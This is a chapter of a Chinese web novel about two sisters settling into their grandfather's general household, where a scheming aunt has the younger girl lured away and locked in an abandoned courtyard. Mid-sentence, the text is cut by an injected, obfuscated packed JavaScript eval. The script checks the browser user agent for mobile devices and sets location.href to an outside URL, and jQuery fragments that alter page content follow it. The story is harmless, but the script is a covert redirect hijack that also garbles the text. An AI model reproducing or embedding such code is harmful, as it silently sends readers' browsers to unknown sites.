二房的人一走,厅内的气氛顿时松快了许多。
“菁儿,尝尝这个。”老夫人吩咐丫鬟给叶菁夹菜,目光慈爱。
虽说是食不言的规矩,但此刻厅内却充满了欢声笑语。
叶菁恍恍惚惚地接过,用小碟接了。明明没有记忆,这些却像是刻在骨子里一般自然。
宴席已毕,丫鬟们撤下饭食,奉上热毛巾净面。
李云芳学着大人的样子,笨拙地擦着脸,把额前的碎发都弄湿了。
叶菁接过香茶漱口,看着女儿天真的模样,心头突然一酸——她的芳姐儿本该从小就这样被精心教养,而不是跟着自己连口好吃的都吃不上。
众人移步花厅,丫鬟奉上夏季养生茶。
叶流空捧着茶盏,突然凑到李云锦身边:“锦表妹,你还记得在东海县时,骗我说那寒瓜是你爹种的事吗?现在总该说实话了吧,那瓜到底是谁种的?”
李云锦正帮李云芳擦去嘴角的点心渣,闻言头也不抬:“是捡的。”
“真的?”叶流空不敢置信地瞪大眼睛,“可你当时明明说……”
“没办法。”李云锦终于抬起头,嘴角微微上扬,“当时我们没钱又被赶出家门,我还受着伤,不把自己说得惨一点儿,怎么多卖几个钱?不过,那瓜我可以种出来。”
叶流空激动得一拍桌子:“那就说好了,明年我就要!”
叶老夫人闻言笑起来,眼角的细纹在灯光下格外慈祥:“锦丫头什么时候捡了瓜卖给清远了?”
“姥姥,姐姐捡到的瓜,”李云芳立刻来了精神,小手比划着,“这么大,这么圆,是芳姐儿吃过的最好吃的。”
叶流空也道:“奶奶可还记得当初送回来的,就是锦姐儿卖给我的,十两银子呢!”
叶老夫人恍然:“原来是那个……那确实是非常美味了。十两银子倒也不亏,那瓜……前所未有。”
叶菁轻轻按住小女儿乱挥的手:“慢些说,别碰翻了茶盏。”
她转向老夫人,想起当初,眼眶也红了,声音哽咽:“那时……玉堂哥刚去,我们被李家族人赶出来,身无分文。锦姐儿也是没办法……”
叶老将军连忙放下茶盏,装作饶有兴趣地问:“锦姐儿当真会种地,都会种些什么?”
“什么都可以试试。”李云锦随意道,“各种瓜果蔬菜草药都可以试试。”
“好!”老将军突然拍案,吓得李云芳一哆嗦。
他连忙放柔声音:“后院有三亩空地,原是要建亭子的。锦丫头要是喜欢,随时可以去种。”
叶凌云笑道:“父亲,这不合规矩吧?哪家贵女会亲自下地……”
“什么规矩不规矩。”老将军一挥手,“我的孙女,想种地就种地!”
他看向李云锦和叶菁,目光温柔许多:“只要开心就好。”
吴伴雪含笑道:“若是出去,还得带上丫鬟婆子,别累着了。”
说着转头吩咐身边伺候的丫鬟:“明日去库房取几套轻便的棉布衣裙来,再找几顶遮阳的帷帽。”
李云锦眼睛微微发亮,但很快又恢复平静:“谢谢姥爷和舅母,我还要一些工具和种子。”
叶流空突然蹦起来:“我去给你找!”说着就要往外跑。
“你给我站住!”叶凌云叫住儿子,“天都黑了,急什么?”
他无奈地摇头,对李云锦道:“你表哥就这性子,别见怪。”
李云芳扯了扯姐姐的袖子:“姐姐,我能一起去吗?”
李云锦摸摸她的头:“自然可以,我们明日一起去看。”
叶老将军看着姐妹俩的互动,眼中闪过欣慰。他哈哈地笑起来:“好,明年夏天,咱们全家都等着吃你种的瓜。我们家的姑娘连种瓜都比别人强!”
叶菁看着眼前这一幕,突然心如刀绞。她的锦姐儿本该是金尊玉贵的大小姐,却早早学会了察言观色;芳姐儿这么小就要跟着吃苦……
都是自己这个做娘的没用。
她悄悄擦了擦眼角,被叶老夫人看在眼里。
“菁儿,”老夫人轻拍她的手,“孩子们很好,你把她们教得很好。”
这句话像一把钥匙,突然打开了叶菁强忍多时的泪闸。她歪倒在老夫人怀中,肩膀微微颤抖。老夫人的衣襟很快湿了一片,却只是轻轻抚着她的背,像哄孩子一般。
叶菁这一哭,屋子里渐渐地安静下来,李云锦轻叹一声,拉着李云芳过去拉住了叶菁的手。
略一停顿,叶菁哭得更大声了。
自那一日宴会已过去好几天,李云锦对将军府也终于熟悉了一点,也勉强习惯了身边总有人跟着的日子。
这一日叶流空答应的种子和工具终于是送到了,她早早地带着李云芳往后院老将军答应的三亩地去了。
姐妹两人来到后院,终于找到地方,入眼是一片干得有了细密裂口的地。
李云锦蹲下来,从地面上捡起一块干硬的土块,轻轻用力就碎成了粉末。
“姐姐,这土好硬啊。”李云芳蹲下身,学着姐姐的样子戳了戳地面,裙摆拖在干土上,立即沾了一层灰。随行的丫鬟连忙上前替她提起裙角。
李云锦拍拍手拍去手上的灰尘:“这地荒废太久,都结块了。”
她想起农场里的土壤,黑得发亮,捏一把似乎能渗出油来。眼前这块地却干得都要变成沙。
“春桃,去花园里找花匠要些落叶和修剪下来的枝叶。”李云锦吩咐完,转头对妹妹笑道:“芳姐儿要不要跟姐姐去挖蚯蚓?”
李云芳立刻蹦起来,招呼自己的丫鬟:“要要要!夏荷也一起来。”
李云锦取出几副粗布手套,这是吴伴雪特意准备的,比她预想的还要齐全。她细心地帮妹妹戴好小号手套:“芳姐儿选个地方,咱们一起去挖。”
李云芳欢呼一声,拎着小铲子东跑西窜,很快就选定了一处潮湿的墙角。姐妹俩蹲在地上挖了约莫半个时辰,李云芳渐渐跑远了。
正挖得起劲,李云芳突然觉得小腹发胀。她四下张望,发现不仅姐姐不在身边,连丫鬟夏荷也不见了踪影。
“夏荷,春桃?”她小声唤了两声,无人应答。憋得难受,她决定自己去找净房。
小丫头提着裙子在回廊间乱转,越走越偏。忽然看见一个穿杏色衣裳的丫鬟,连忙上前:“姐姐,净房在哪儿?”
那丫鬟笑得亲切:“表小姐请随奴婢来。”说着便牵起她的手,七拐八绕来到一处荒废的院子。
“您在这儿稍等,奴婢去取草纸。”丫鬟说完就离开了。等到了无人之处,才露出一抹得意浅笑。前几日二夫人回来之后大发雷霆,免不了对府里新
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15253436|163187||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
来的姑太太和表小姐多有抱怨,作为夫人身边的丫鬟,自然要为夫人分忧。
李云芳等啊等,始终不见人回来。实在憋不住,她只好躲在歪脖子枣树下解决了问题。等她整理好衣裙,才发现院门不知何时已经被锁上了。
此时日头渐高,蝉鸣声越发刺耳。李云锦已经挖了二十多条红蚯蚓,养在盛着湿土的瓦罐里,打发夏荷拿回去放着。
抬起头,她抹了把汗,发现妹妹不见了踪影。
“云芳?”她放下工具,皱眉去寻。
也不知道走了多远,四周越发荒凉,青砖缝里长满了野苋菜。远处隐约传来水声,循声走去,竟是个荒废的荷花池。
这里安静得诡异,连蝉鸣都听不见了。
李云芳正蹲在枣树下害怕,忽然听见墙外传来说话声。
“到时候闹起来,都是大房的事……”
“夫人放心,人都安排好了……”
她屏住呼吸,听见声音越来越近。就在这时,远处有人喊:“二夫人,老夫人找您呢!”
脚步声渐渐远去。李云芳趁机从一处矮墙爬出去,裙摆上沾了灰,手上破了口。
“姐姐!”她一头撞进李云锦怀里,浑身发抖。
李云锦脸色发白,紧紧抓住妹妹的肩膀:“怎么跑到这里来了?”低头看见妹妹手上的伤口和裙摆上的灰,顿时有些担忧起来。
“我迷路了。”李云芳咬着嘴唇,大眼睛里蓄满泪水,身体发抖,却下意识地藏住了更紧要的话。
李云锦深深看了眼她来的方向,弯腰抱起妹妹:“我们回去。”
转过假山,李云芳勾着姐姐的脖子,凑到姐姐耳边,用最低的声音说:“姐姐,我听见有人说要……”话未说完,李云锦便一把捂住了她的嘴。
不远处,袁巧娘正倚着太湖石摇团扇,身边跟着个杏色衣裳的丫鬟。
“哟,这不是我们锦姐儿和芳姐儿吗?”袁巧娘用帕子掩着嘴,声音尖细得刺耳,“见了长辈也不晓得行礼,到底是乡下来的,规矩都不懂。”
李云锦将妹妹放下来,往身后带了带,规规矩矩地福了福身:“二舅母安好。”
袁巧娘眯着眼打量她们:“这大热天的,你们姐妹俩跑到这偏僻处做什么?”她手中的团扇不紧不慢地摇着,目光嫌恶地扫过李云芳裙摆上的泥渍。
“回二舅母的话,”李云锦神色如常,“我带妹妹出来出来走走,不想芳姐儿不小心摔在草丛里划伤了手,正要回去上药。”
袁巧娘“啧”了一声,弯腰强行把李云芳的手拿起来看了看,后者下意识往后缩,被李云锦按住了肩膀才忍住。
“瞧瞧这伤,”袁巧娘阴阳怪气地说,“不知道的还当我们叶家亏待了你们。身为姑娘家,整天在外头野,成何体统?”
李云锦垂着眼帘没接话,只把妹妹护得更紧了些。
“罢了罢了,”袁巧娘直起身,扇子在鼻前挥了挥,“快回去收拾收拾,这副模样叫人看见,还以为我们叶家不会教养姑娘呢。”
说完,她随意地摆摆手,带着丫鬟走了。
待她的身影消失在回廊尽头,李云锦才松开紧握的拳头,掌心已被指甲掐出几道月牙形的红痕。
“姐姐,刚刚就是她。她把我关到院子里的。”李云芳扯了扯她的衣袖,轻声说。